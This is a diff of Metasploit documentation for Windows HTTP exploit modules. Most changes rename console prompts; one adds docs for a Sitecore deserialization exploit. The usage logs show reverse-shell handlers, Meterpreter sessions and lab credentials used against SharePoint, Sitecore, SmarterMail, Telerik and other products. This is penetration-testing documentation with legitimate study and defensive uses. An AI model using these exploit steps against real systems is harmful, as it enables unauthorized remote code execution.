> run +msf exploit(windows/http/sharepoint_ssi_viewstate) > run [*] Started HTTPS reverse handler on https://192.168.123.1:8443 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/windows/http/sharepoint_unsafe_control.md b/documentation/modules/exploit/windows/http/sharepoint_unsafe_control.md index 6e323aa6601a6..6f95e071fb7e0 100644 --- a/documentation/modules/exploit/windows/http/sharepoint_unsafe_control.md +++ b/documentation/modules/exploit/windows/http/sharepoint_unsafe_control.md @@ -67,17 +67,17 @@ option. The available SPlist items can be seen listed on the `/_layouts/15/viewl ### SharePoint 2019 on Windows Server 2016 ``` -msf6 exploit(windows/http/sharepoint_unsafe_control) > set RHOSTS 192.168.159.46 +msf exploit(windows/http/sharepoint_unsafe_control) > set RHOSTS 192.168.159.46 RHOSTS => 192.168.159.46 -msf6 exploit(windows/http/sharepoint_unsafe_control) > set VHOST shrpnt2019 +msf exploit(windows/http/sharepoint_unsafe_control) > set VHOST shrpnt2019 VHOST => shrpnt2019 -msf6 exploit(windows/http/sharepoint_unsafe_control) > set HttpUsername aliddle +msf exploit(windows/http/sharepoint_unsafe_control) > set HttpUsername aliddle HttpUsername => aliddle -msf6 exploit(windows/http/sharepoint_unsafe_control) > set HttpPassword Password1 +msf exploit(windows/http/sharepoint_unsafe_control) > set HttpPassword Password1 HttpPassword => Password1 -msf6 exploit(windows/http/sharepoint_unsafe_control) > check +msf exploit(windows/http/sharepoint_unsafe_control) > check [*] 192.168.159.46:80 - The target appears to be vulnerable. SharePoint 16.0.0.10337 is a vulnerable build. -msf6 exploit(windows/http/sharepoint_unsafe_control) > exploit +msf exploit(windows/http/sharepoint_unsafe_control) > exploit [*] Started HTTPS reverse handler on https://192.168.159.128:8443 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/windows/http/sharepoint_workflows_xoml.md b/documentation/modules/exploit/windows/http/sharepoint_workflows_xoml.md index a2017563f18dc..7e00364d02716 100644 --- a/documentation/modules/exploit/windows/http/sharepoint_workflows_xoml.md +++ b/documentation/modules/exploit/windows/http/sharepoint_workflows_xoml.md @@ -19,7 +19,7 @@ sent to SharePoint via the Workflows functionality. ### SharePoint 2019 on Server 2016 ``` -msf5 exploit(windows/http/sharepoint_workflows_xoml) > show options +msf exploit(windows/http/sharepoint_workflows_xoml) > show options Module options (exploit/windows/http/sharepoint_workflows_xoml): @@ -56,7 +56,7 @@ Exploit target: 2 Windows Powershell -msf5 exploit(windows/http/sharepoint_workflows_xoml) > exploit +msf exploit(windows/http/sharepoint_workflows_xoml) > exploit [*] Executing automatic check (disable AutoCheck to override) [+] The target is vulnerable. @@ -75,4 +75,4 @@ Meterpreter : x64/windows meterpreter > getuid Server username: SHRPNT2019P\Administrator meterpreter > -``` \ No newline at end of file +``` diff --git a/documentation/modules/exploit/windows/http/sitecore_xp_cve_2021_42237.md b/documentation/modules/exploit/windows/http/sitecore_xp_cve_2021_42237.md index 34224c40aa691..b2e1f37bd5703 100644 --- a/documentation/modules/exploit/windows/http/sitecore_xp_cve_2021_42237.md +++ b/documentation/modules/exploit/windows/http/sitecore_xp_cve_2021_42237.md @@ -58,15 +58,15 @@ of the `getsystem` command to use RPCSS impersonation and get `SYSTEM` level cod ### Sitecore 8.2 rev. 180406 on Server 2016 - PowerShell Stager ``` -msf6 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/windows/http/sitecore_xp_cve_2021_42237 +msf payload(windows/x64/meterpreter/reverse_tcp) > use exploit/windows/http/sitecore_xp_cve_2021_42237 [*] Using configured payload windows/x64/meterpreter/reverse_tcp -msf6 exploit(windows/http/sitecore_xp_cve_2021_42237) > set LHOST 172.20.223.94 +msf exploit(windows/http/sitecore_xp_cve_2021_42237) > set LHOST 172.20.223.94 LHOST => 172.20.223.94 -msf6 exploit(windows/http/sitecore_xp_cve_2021_42237) > set RHOSTS 172.20.211.198 +msf exploit(windows/http/sitecore_xp_cve_2021_42237) > set RHOSTS 172.20.211.198 RHOSTS => 172.20.211.198 -msf6 exploit(windows/http/sitecore_xp_cve_2021_42237) > set VHOST NewInstance1 +msf exploit(windows/http/sitecore_xp_cve_2021_42237) > set VHOST NewInstance1 VHOST => NewInstance1 -msf6 exploit(windows/http/sitecore_xp_cve_2021_42237) > show options +msf exploit(windows/http/sitecore_xp_cve_2021_42237) > show options Module options (exploit/windows/http/sitecore_xp_cve_2021_42237): @@ -108,11 +108,11 @@ Exploit target: 2 PowerShell Stager -msf6 exploit(windows/http/sitecore_xp_cve_2021_42237) > check +msf exploit(windows/http/sitecore_xp_cve_2021_42237) > check [*] 172.20.211.198:80 - The target appears to be vulnerable. Response.ashx is accessible and appears to be deserializing data! -msf6 exploit(windows/http/sitecore_xp_cve_2021_42237) > set LPORT 8342 +msf exploit(windows/http/sitecore_xp_cve_2021_42237) > set LPORT 8342 LPORT => 8342 -msf6 exploit(windows/http/sitecore_xp_cve_2021_42237) > exploit +msf exploit(windows/http/sitecore_xp_cve_2021_42237) > exploit [*] Started reverse TCP handler on 172.20.223.94:8342 [*] Running automatic check ("set AutoCheck false" to disable) @@ -182,15 +182,15 @@ meterpreter > ### Sitecore 8.2 rev. 180406 on Server 2016 - Windows Command ``` -msf6 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/windows/http/sitecore_xp_cve_2021_42237 +msf payload(windows/x64/meterpreter/reverse_tcp) > use exploit/windows/http/sitecore_xp_cve_2021_42237 [*] Using configured payload windows/x64/meterpreter/reverse_tcp -msf6 exploit(windows/http/sitecore_xp_cve_2021_42237) > set LHOST 172.20.223.94 +msf exploit(windows/http/sitecore_xp_cve_2021_42237) > set LHOST 172.20.223.94 LHOST => 172.20.223.94 -msf6 exploit(windows/http/sitecore_xp_cve_2021_42237) > set RHOSTS 172.20.211.198 +msf exploit(windows/http/sitecore_xp_cve_2021_42237) > set RHOSTS 172.20.211.198 RHOSTS => 172.20.211.198 -msf6 exploit(windows/http/sitecore_xp_cve_2021_42237) > set VHOST NewInstance1 +msf exploit(windows/http/sitecore_xp_cve_2021_42237) > set VHOST NewInstance1 VHOST => NewInstance1 -msf6 exploit(windows/http/sitecore_xp_cve_2021_42237) > show options +msf exploit(windows/http/sitecore_xp_cve_2021_42237) > show options Module options (exploit/windows/http/sitecore_xp_cve_2021_42237): @@ -232,13 +232,13 @@ Exploit target: 2 PowerShell Stager -msf6 exploit(windows/http/sitecore_xp_cve_2021_42237) > check +msf exploit(windows/http/sitecore_xp_cve_2021_42237) > check [*] 172.20.211.198:80 - The target appears to be vulnerable. Response.ashx is accessible and appears to be deserializing data! -msf6 exploit(windows/http/sitecore_xp_cve_2021_42237) > set LPORT 8342 +msf exploit(windows/http/sitecore_xp_cve_2021_42237) > set LPORT 8342 LPORT => 8342 -msf6 exploit(windows/http/sitecore_xp_cve_2021_42237) > set TARGET 0 +msf exploit(windows/http/sitecore_xp_cve_2021_42237) > set TARGET 0 TARGET => 0 -msf6 exploit(windows/http/sitecore_xp_cve_2021_42237) > show options +msf exploit(windows/http/sitecore_xp_cve_2021_42237) > show options Module options (exploit/windows/http/sitecore_xp_cve_2021_42237): @@ -279,7 +279,7 @@ Exploit target: 0 Windows Command -msf6 exploit(windows/http/sitecore_xp_cve_2021_42237) > exploit +msf exploit(windows/http/sitecore_xp_cve_2021_42237) > exploit [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Response.ashx is accessible and appears to be deserializing data! diff --git a/documentation/modules/exploit/windows/http/sitecore_xp_cve_2025_27218.md b/documentation/modules/exploit/windows/http/sitecore_xp_cve_2025_27218.md new file mode 100644 index 0000000000000..c783c42325ba7 --- /dev/null +++ b/documentation/modules/exploit/windows/http/sitecore_xp_cve_2025_27218.md @@ -0,0 +1,45 @@ +## Vulnerable Application +This module exploits a .NET deserialization vulnerability in Sitecore Experience Manager (XM) and Experience +Platform (XP) 10.4 before KB1002844 by injecting a malicious Base64-encoded BinaryFormatter payload into an HTTP header. + +### Setup +The SiteCore installer can be downloaded from the [downloads page](https://developers.sitecore.com/downloads/Sitecore_Experience_Platform/104/Sitecore_Experience_Platform_104). +Note that a license is required to run the application. + +## Verification Steps + +1. Start msfconsole +2. Do: `use windows/http/sitecore_xp_cve_2025_27218` +3. Set the `RHOST` abd `LHOST`, options +4. Run the module +5. Receive a Meterpreter session as the `IIS APPPOOL\XP0.sc` user. + +## Scenarios +### SiteCore XP 10.4.0 Revision 010422 running on Windows Server 2022 +``` +msf exploit(windows/http/sitecore_xp_cve_2025_27218) > set rhost xp0.sc +rhost => xp0.sc +msf exploit(windows/http/sitecore_xp_cve_2025_27218) > set lhost 192.168.123.1 +lhost => 192.168.123.1 +msf exploit(windows/http/sitecore_xp_cve_2025_27218) > dns add-static xp0.sc 192.168.123.244 +[*] Added static hostname mapping xp0.sc to 192.168.123.244 +msf exploit(windows/http/sitecore_xp_cve_2025_27218) > run +[*] Started reverse TCP handler on 192.168.123.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. The target is running SiteCore. +[+] Server responded with 200, this probably means it worked. +[*] Sending stage (203846 bytes) to 192.168.123.244 +[*] Meterpreter session 1 opened (192.168.123.1:4444 -> 192.168.123.244:49832) at 2025-03-27 08:58:13 -0700 + +meterpreter > getuid +Server username: IIS APPPOOL\XP0.sc +meterpreter > sysinfo +Computer : WIN-2I9LBN2Q0R5 +OS : Windows Server 2022 (10.0 Build 20348). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 1 +Meterpreter : x64/windows +meterpreter > +``` diff --git a/documentation/modules/exploit/windows/http/smartermail_rce.md b/documentation/modules/exploit/windows/http/smartermail_rce.md index 202bad04f24e2..637b19dfac281 100644 --- a/documentation/modules/exploit/windows/http/smartermail_rce.md +++ b/documentation/modules/exploit/windows/http/smartermail_rce.md @@ -90,13 +90,13 @@ sending serialized data and Meterpreter payloads. The default port is 17001. * Using default TARGET 0 - Windows Command ``` -msf6 > use exploit/windows/http/smartermail_rce +msf > use exploit/windows/http/smartermail_rce [*] Using configured payload cmd/windows/powershell/meterpreter/reverse_tcp -msf6 exploit(windows/http/smartermail_rce) > set RHOSTS 192.168.29.1 +msf exploit(windows/http/smartermail_rce) > set RHOSTS 192.168.29.1 RHOSTS => 192.168.29.1 -msf6 exploit(windows/http/smartermail_rce) > set LHOST eth0 +msf exploit(windows/http/smartermail_rce) > set LHOST eth0 LHOST => 192.168.245.128 -msf6 exploit(windows/http/smartermail_rce) > exploit +msf exploit(windows/http/smartermail_rce) > exploit [*] Started reverse TCP handler on 192.168.245.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -124,15 +124,15 @@ meterpreter > * Using TARGET 1 - x86/x64 Windows CmdStager: ``` -msf6 > use exploit/windows/http/smartermail_rce +msf > use exploit/windows/http/smartermail_rce [*] Using configured payload windows/meterpreter/reverse_tcp -msf6 exploit(windows/http/smartermail_rce) > set TARGET 1 +msf exploit(windows/http/smartermail_rce) > set TARGET 1 TARGET => 1 -msf6 exploit(windows/http/smartermail_rce) > set RHOSTS 192.168.29.1 +msf exploit(windows/http/smartermail_rce) > set RHOSTS 192.168.29.1 RHOSTS => 192.168.29.1 -msf6 exploit(windows/http/smartermail_rce) > set LHOST eth0 +msf exploit(windows/http/smartermail_rce) > set LHOST eth0 LHOST => eth0 -msf6 exploit(windows/http/smartermail_rce) > exploit +msf exploit(windows/http/smartermail_rce) > exploit [*] Started reverse TCP handler on 192.168.245.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -212,15 +212,15 @@ meterpreter > * Using ENDPOINT `Mail`: ``` -msf6 > use exploit/windows/http/smartermail_rce +msf > use exploit/windows/http/smartermail_rce [*] Using configured payload cmd/windows/powershell/meterpreter/reverse_tcp -msf6 exploit(windows/http/smartermail_rce) > set ENDPOINT Mail +msf exploit(windows/http/smartermail_rce) > set ENDPOINT Mail ENDPOINT => Mail -msf6 exploit(windows/http/smartermail_rce) > set RHOSTS 192.168.29.1 +msf exploit(windows/http/smartermail_rce) > set RHOSTS 192.168.29.1 RHOSTS => 192.168.29.1 -msf6 exploit(windows/http/smartermail_rce) > set LHOST eth0 +msf exploit(windows/http/smartermail_rce) > set LHOST eth0 LHOST => eth0 -msf6 exploit(windows/http/smartermail_rce) > exploit +msf exploit(windows/http/smartermail_rce) > exploit [*] Started reverse TCP handler on 192.168.245.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -250,13 +250,13 @@ meterpreter > ### SmarterMail Build 6985 on Windows 10 Pro ``` -msf6 > use exploit/windows/http/smartermail_rce +msf > use exploit/windows/http/smartermail_rce [*] Using configured payload cmd/windows/powershell/meterpreter/reverse_tcp -msf6 exploit(windows/http/smartermail_rce) > set RHOSTS 192.168.29.1 +msf exploit(windows/http/smartermail_rce) > set RHOSTS 192.168.29.1 RHOSTS => 192.168.29.1 -msf6 exploit(windows/http/smartermail_rce) > set LHOST eth0 +msf exploit(windows/http/smartermail_rce) > set LHOST eth0 LHOST => eth0 -msf6 exploit(windows/http/smartermail_rce) > exploit +msf exploit(windows/http/smartermail_rce) > exploit [*] Started reverse TCP handler on 192.168.245.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -268,9 +268,9 @@ msf6 exploit(windows/http/smartermail_rce) > exploit [+] Target is running SmarterMail Version 100.0.6985. [-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. "set ForceExploit true" to override check result. [*] Exploit completed, but no session was created. -msf6 exploit(windows/http/smartermail_rce) > set ForceExploit true +msf exploit(windows/http/smartermail_rce) > set ForceExploit true ForceExploit => true -msf6 exploit(windows/http/smartermail_rce) > exploit +msf exploit(windows/http/smartermail_rce) > exploit [*] Started reverse TCP handler on 192.168.245.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -282,26 +282,26 @@ msf6 exploit(windows/http/smartermail_rce) > exploit [+] Target is running SmarterMail Version 100.0.6985. [!] The target is not exploitable. ForceExploit is enabled, proceeding with exploitation. [*] Exploit completed, but no session was created. -msf6 exploit(windows/http/smartermail_rce) > +msf exploit(windows/http/smartermail_rce) > ``` ### SmarterMail Build 6919 on Windows 10 Pro (Algernon from Proving Grounds Practice) ``` -msf6 > use exploit/windows/http/smartermail_rce +msf > use exploit/windows/http/smartermail_rce [*] Using configured payload cmd/windows/powershell/meterpreter/reverse_tcp -msf6 exploit(windows/http/smartermail_rce) > set RHOSTS 192.168.247.65 +msf exploit(windows/http/smartermail_rce) > set RHOSTS 192.168.247.65 RHOSTS => 192.168.247.65 -msf6 exploit(windows/http/smartermail_rce) > set LHOST tun0 +msf exploit(windows/http/smartermail_rce) > set LHOST tun0 LHOST => tun0 -msf6 exploit(windows/http/smartermail_rce) > check +msf exploit(windows/http/smartermail_rce) > check [*] Checking target web server for a response... [+] Target is running SmarterMail. [*] Checking SmarterMail product build... [+] Target is running SmarterMail Build 6919. [*] 192.168.247.65:9998 - The target appears to be vulnerable. -msf6 exploit(windows/http/smartermail_rce) > exploit +msf exploit(windows/http/smartermail_rce) > exploit [*] Started reverse TCP handler on 192.168.45.188:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/windows/http/softing_sis_rce.md b/documentation/modules/exploit/windows/http/softing_sis_rce.md index 4231cf2cee61f..33e78f3cbe0ea 100644 --- a/documentation/modules/exploit/windows/http/softing_sis_rce.md +++ b/documentation/modules/exploit/windows/http/softing_sis_rce.md @@ -35,11 +35,11 @@ Example steps in this format (is also in the PR): ### Default options ``` -msf6 > use exploit/windows/http/softing_sis_rce +msf > use exploit/windows/http/softing_sis_rce [*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp -msf6 exploit(windows/http/softing_sis_rce) > set RHOSTS 192.168.50.119 +msf exploit(windows/http/softing_sis_rce) > set RHOSTS 192.168.50.119 RHOSTS => 192.168.50.119 -msf6 exploit(windows/http/softing_sis_rce) > exploit +msf exploit(windows/http/softing_sis_rce) > exploit [*] Started reverse TCP handler on 192.168.50.254:4444 [*] 192.168.50.119:8099 - Found Softing Secure Integration Server 1.22.0.8686 @@ -61,13 +61,13 @@ meterpreter > ### Using a signature ``` -msf6 > use exploit/windows/http/softing_sis_rce +msf > use exploit/windows/http/softing_sis_rce [*] Using configured payload windows/x64/meterpreter/reverse_tcp -msf6 exploit(windows/http/softing_sis_rce) > set RHOSTS 192.168.50.119 +msf exploit(windows/http/softing_sis_rce) > set RHOSTS 192.168.50.119 RHOSTS => 192.168.50.119 -msf6 exploit(windows/http/softing_sis_rce) > set SIGNATURE f7f623f3d40764a03da6c3379919b964 +msf exploit(windows/http/softing_sis_rce) > set SIGNATURE f7f623f3d40764a03da6c3379919b964 SIGNATURE => f7f623f3d40764a03da6c3379919b964 -msf6 exploit(windows/http/softing_sis_rce) > exploit +msf exploit(windows/http/softing_sis_rce) > exploit [*] Started reverse TCP handler on 192.168.50.254:4444 [*] 192.168.50.119:8099 - Found Softing Secure Integration Server 1.22.0.8686 @@ -90,13 +90,13 @@ meterpreter > ### Using a custom DLL ``` -msf6 > use exploit/windows/http/softing_sis_rce +msf > use exploit/windows/http/softing_sis_rce [*] Using configured payload windows/x64/meterpreter/reverse_tcp -msf6 exploit(windows/http/softing_sis_rce) > set RHOSTS 192.168.50.119 +msf exploit(windows/http/softing_sis_rce) > set RHOSTS 192.168.50.119 RHOSTS => 192.168.50.119 -msf6 exploit(windows/http/softing_sis_rce) > set DLLPATH /home/kali/Documents/softing/wbemcomn.dll +msf exploit(windows/http/softing_sis_rce) > set DLLPATH /home/kali/Documents/softing/wbemcomn.dll DLLPATH => /home/kali/Documents/softing/wbemcomn.dll -msf6 exploit(windows/http/softing_sis_rce) > exploit +msf exploit(windows/http/softing_sis_rce) > exploit [*] Started reverse TCP handler on 192.168.50.254:4444 [*] 192.168.50.119:8099 - Found Softing Secure Integration Server 1.22.0.8686 diff --git a/documentation/modules/exploit/windows/http/ssrs_navcorrector_viewstate.md b/documentation/modules/exploit/windows/http/ssrs_navcorrector_viewstate.md index 1335c3e0d2fee..61126c8bcd1dd 100644 --- a/documentation/modules/exploit/windows/http/ssrs_navcorrector_viewstate.md +++ b/documentation/modules/exploit/windows/http/ssrs_navcorrector_viewstate.md @@ -48,22 +48,22 @@ from "Site Settings" to add the necessary privileges.** ### SSRS 2016 on Server 2012 x64 - msf5 > use exploit/windows/http/ssrs_navcorrector_viewstate - msf5 exploit(windows/http/ssrs_navcorrector_viewstate) > set RHOSTS 192.168.159.141 + msf > use exploit/windows/http/ssrs_navcorrector_viewstate + msf exploit(windows/http/ssrs_navcorrector_viewstate) > set RHOSTS 192.168.159.141 RHOSTS => 192.168.159.141 - msf5 exploit(windows/http/ssrs_navcorrector_viewstate) > set USERNAME jdoe + msf exploit(windows/http/ssrs_navcorrector_viewstate) > set USERNAME jdoe USERNAME => jdoe - msf5 exploit(windows/http/ssrs_navcorrector_viewstate) > set DOMAIN msflab.local + msf exploit(windows/http/ssrs_navcorrector_viewstate) > set DOMAIN msflab.local DOMAIN => msflab.local - msf5 exploit(windows/http/ssrs_navcorrector_viewstate) > set PASSWORD Password1 + msf exploit(windows/http/ssrs_navcorrector_viewstate) > set PASSWORD Password1 PASSWORD => Password1 - msf5 exploit(windows/http/ssrs_navcorrector_viewstate) > set PAYLOAD windows/x64/meterpreter/reverse_tcp + msf exploit(windows/http/ssrs_navcorrector_viewstate) > set PAYLOAD windows/x64/meterpreter/reverse_tcp PAYLOAD => windows/x64/meterpreter/reverse_tcp - msf5 exploit(windows/http/ssrs_navcorrector_viewstate) > set LHOST 192.168.159.128 + msf exploit(windows/http/ssrs_navcorrector_viewstate) > set LHOST 192.168.159.128 LHOST => 192.168.159.128 - msf5 exploit(windows/http/ssrs_navcorrector_viewstate) > check + msf exploit(windows/http/ssrs_navcorrector_viewstate) > check [*] 192.168.159.141:80 - The service is running, but could not be validated. - msf5 exploit(windows/http/ssrs_navcorrector_viewstate) > exploit + msf exploit(windows/http/ssrs_navcorrector_viewstate) > exploit [*] Started reverse TCP handler on 192.168.159.128:4444 [*] Command Stager progress - 24.99% done (2999/12002 bytes) diff --git a/documentation/modules/exploit/windows/http/telerik_rau_deserialization.md b/documentation/modules/exploit/windows/http/telerik_rau_deserialization.md index 16d1018dd9149..4c14401b75b8d 100644 --- a/documentation/modules/exploit/windows/http/telerik_rau_deserialization.md +++ b/documentation/modules/exploit/windows/http/telerik_rau_deserialization.md @@ -102,20 +102,20 @@ be a [mixed mode assembly][4] DLL in order to be loaded through the deserializat This system was configured to be vulnerable through changes to the application's `web.config` file. ``` -msf6 > use exploit/windows/http/telerik_rau_deserialization +msf > use exploit/windows/http/telerik_rau_deserialization [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp -msf6 exploit(windows/http/telerik_rau_deserialization) > set RHOSTS 192.168.159.129 +msf exploit(windows/http/telerik_rau_deserialization) > set RHOSTS 192.168.159.129 RHOSTS => 192.168.159.129 -msf6 exploit(windows/http/telerik_rau_deserialization) > set RPORT 8080 +msf exploit(windows/http/telerik_rau_deserialization) > set RPORT 8080 RPORT => 8080 -msf6 exploit(windows/http/telerik_rau_deserialization) > set SSL false +msf exploit(windows/http/telerik_rau_deserialization) > set SSL false [!] Changing the SSL option's value may require changing RPORT! SSL => false -msf6 exploit(windows/http/telerik_rau_deserialization) > set VHOST win10dev +msf exploit(windows/http/telerik_rau_deserialization) > set VHOST win10dev VHOST => win10dev -msf6 exploit(windows/http/telerik_rau_deserialization) > set VERBOSE true +msf exploit(windows/http/telerik_rau_deserialization) > set VERBOSE true VERBOSE => true -msf6 exploit(windows/http/telerik_rau_deserialization) > check +msf exploit(windows/http/telerik_rau_deserialization) > check [*] Enumerating the Telerik UI ASP.NET AJAX version, this will fail if the keys are incorrect [*] Checking version: 2020.3.915 @@ -124,11 +124,11 @@ msf6 exploit(windows/http/telerik_rau_deserialization) > check [*] Server is using default crypto keys and is vulnerable to CVE-2017-11317 [*] 192.168.159.129:8080 - The service is running, but could not be validated. [!] This exploit may require manual cleanup of 'C:\Windows\Temp\B9MWZKcH4FGUFEb1ioFQnZollFxhhl3Pr.dll.tmp' on the target -msf6 exploit(windows/http/telerik_rau_deserialization) > set VERSION 2020.3.915 +msf exploit(windows/http/telerik_rau_deserialization) > set VERSION 2020.3.915 VERSION => 2020.3.915 -msf6 exploit(windows/http/telerik_rau_deserialization) > set LHOST 192.168.159.128 +msf exploit(windows/http/telerik_rau_deserialization) > set LHOST 192.168.159.128 LHOST => 192.168.159.128 -msf6 exploit(windows/http/telerik_rau_deserialization) > exploit +msf exploit(windows/http/telerik_rau_deserialization) > exploit [*] Started reverse TCP handler on 192.168.159.128:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/windows/http/tomcat_cgi_cmdlineargs.md b/documentation/modules/exploit/windows/http/tomcat_cgi_cmdlineargs.md index c4a53d497f7d4..e459b41165957 100644 --- a/documentation/modules/exploit/windows/http/tomcat_cgi_cmdlineargs.md +++ b/documentation/modules/exploit/windows/http/tomcat_cgi_cmdlineargs.md @@ -70,14 +70,14 @@ echo Hello, World! The check method of the exploit explicitly triggers the bug to verify the vulnerable, therefore it should be accurate. To use it, here is an example: ``` -msf5 exploit(windows/http/tomcat_cgi_cmdlineargs) > check +msf exploit(windows/http/tomcat_cgi_cmdlineargs) > check [+] 172.16.135.141:8080 - The target is vulnerable. ``` #### Code Execution ``` -msf5 exploit(windows/http/tomcat_cgi_cmdlineargs) > exploit +msf exploit(windows/http/tomcat_cgi_cmdlineargs) > exploit [*] Started reverse TCP handler on 172.16.135.1:4444 [*] Checking if 172.16.135.141 is vulnerable @@ -106,9 +106,9 @@ meterpreter > ### Tomcat 8.5.20 with JDK 1.8.0_211-b12 on Windows 2012 (Build 9200) ``` -msf5 exploit(windows/http/tomcat_cgi_cmdlineargs) > check +msf exploit(windows/http/tomcat_cgi_cmdlineargs) > check [+] 2.2.2.2:8080 - The target is vulnerable. -msf5 exploit(windows/http/tomcat_cgi_cmdlineargs) > run +msf exploit(windows/http/tomcat_cgi_cmdlineargs) > run [*] Started reverse TCP handler on 1.1.1.1:4444 [*] Checking if 2.2.2.2 is vulnerable diff --git a/documentation/modules/exploit/windows/http/ws_ftp_rce_cve_2023_40044.md b/documentation/modules/exploit/windows/http/ws_ftp_rce_cve_2023_40044.md index e971b16560331..860fa19e1c685 100644 --- a/documentation/modules/exploit/windows/http/ws_ftp_rce_cve_2023_40044.md +++ b/documentation/modules/exploit/windows/http/ws_ftp_rce_cve_2023_40044.md @@ -27,11 +27,11 @@ Steps: ### Windows ``` -msf6 exploit(windows/http/ws_ftp_rce_cve_2023_40044) > set LHOST eth0 +msf exploit(windows/http/ws_ftp_rce_cve_2023_40044) > set LHOST eth0 LHOST => eth0 -msf6 exploit(windows/http/ws_ftp_rce_cve_2023_40044) > set RHOST 192.168.86.47 +msf exploit(windows/http/ws_ftp_rce_cve_2023_40044) > set RHOST 192.168.86.47 RHOST => 192.168.86.47 -msf6 exploit(windows/http/ws_ftp_rce_cve_2023_40044) > show options +msf exploit(windows/http/ws_ftp_rce_cve_2023_40044) > show options Module options (exploit/windows/http/ws_ftp_rce_cve_2023_40044): @@ -74,9 +74,9 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(windows/http/ws_ftp_rce_cve_2023_40044) > check +msf exploit(windows/http/ws_ftp_rce_cve_2023_40044) > check [*] 192.168.86.47:443 - The target appears to be vulnerable. Detected a build date of 27-8-2021 -msf6 exploit(windows/http/ws_ftp_rce_cve_2023_40044) > exploit +msf exploit(windows/http/ws_ftp_rce_cve_2023_40044) > exploit [*] Started reverse TCP handler on 192.168.86.42:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/windows/http/zentao_pro_rce.md b/documentation/modules/exploit/windows/http/zentao_pro_rce.md index 972713b8e2c68..cb5d0d44936d3 100644 --- a/documentation/modules/exploit/windows/http/zentao_pro_rce.md +++ b/documentation/modules/exploit/windows/http/zentao_pro_rce.md @@ -51,7 +51,7 @@ Id Name ## Scenarios ### ZenTao 8.8.2 running on Windows 10 (XAMPP server) ``` -msf5 exploit(windows/http/zentao_pro_rce) > show options +msf exploit(windows/http/zentao_pro_rce) > show options Module options (exploit/windows/http/zentao_pro_rce): @@ -88,7 +88,7 @@ Exploit target: 1 Windows (x64) -msf5 exploit(windows/http/zentao_pro_rce) > run +msf exploit(windows/http/zentao_pro_rce) > run [*] Started reverse TCP handler on 192.168.1.12:4444 [+] Successfully authenticated to ZenTao 8.8.2. diff --git a/documentation/modules/exploit/windows/http/zoho_password_manager_pro_xml_rpc_rce.md b/documentation/modules/exploit/windows/http/zoho_password_manager_pro_xml_rpc_rce.md index 5b76a1d6d15af..8d9696c6635de 100644 --- a/documentation/modules/exploit/windows/http/zoho_password_manager_pro_xml_rpc_rce.md +++ b/documentation/modules/exploit/windows/http/zoho_password_manager_pro_xml_rpc_rce.md @@ -36,15 +36,15 @@ Id Name ## Scenarios ### ManageEngine Password Manager Pro 12100 Running on Windows 11 ``` -msf6 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/windows/http/zoho_password_manager_pro_xml_rpc_rce +msf payload(windows/x64/meterpreter/reverse_tcp) > use exploit/windows/http/zoho_password_manager_pro_xml_rpc_rce [*] Using configured payload cmd/windows/reverse_powershell -msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > set RHOSTS 172.17.245.94 +msf exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > set RHOSTS 172.17.245.94 RHOSTS => 172.17.245.94 -msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > set LHOST 172.17.255.112 +msf exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > set LHOST 172.17.255.112 LHOST => 172.17.255.112 -msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > set LPORT 8899 +msf exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > set LPORT 8899 LPORT => 8899 -msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > show options +msf exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > show options Module options (exploit/windows/http/zoho_password_manager_pro_xml_rpc_rce): @@ -79,7 +79,7 @@ Exploit target: 1 Windows Command -msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > exploit +msf exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > exploit [*] Started reverse TCP handler on 172.17.255.112:8899 [*] Running automatic check ("set AutoCheck false" to disable) @@ -104,7 +104,7 @@ nt authority\system C:\Program Files\ManageEngine\PMP\bin>background Background session 1? [y/N] y -msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > sessions +msf exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > sessions Active sessions =============== @@ -114,18 +114,18 @@ Active sessions 1 shell cmd/windows Shell Banner: Microsoft Windows [Version 10.0.2 172.17.255.112:8899 -> 172.17.245.94:56612 (172. 2000.795] (c) Microsoft Corpo... 17.245.94) -msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > sessions -u 1 +msf exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > sessions -u 1 [*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1] [*] Upgrading session ID: 1 [*] Starting exploit/multi/handler [*] Started reverse TCP handler on 172.17.255.112:4433 -msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > +msf exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > [*] Sending stage (200774 bytes) to 172.17.245.94 [*] Meterpreter session 2 opened (172.17.255.112:4433 -> 172.17.245.94:56631) at 2022-08-02 11:38:11 -0500 [*] Stopping exploit/multi/handler 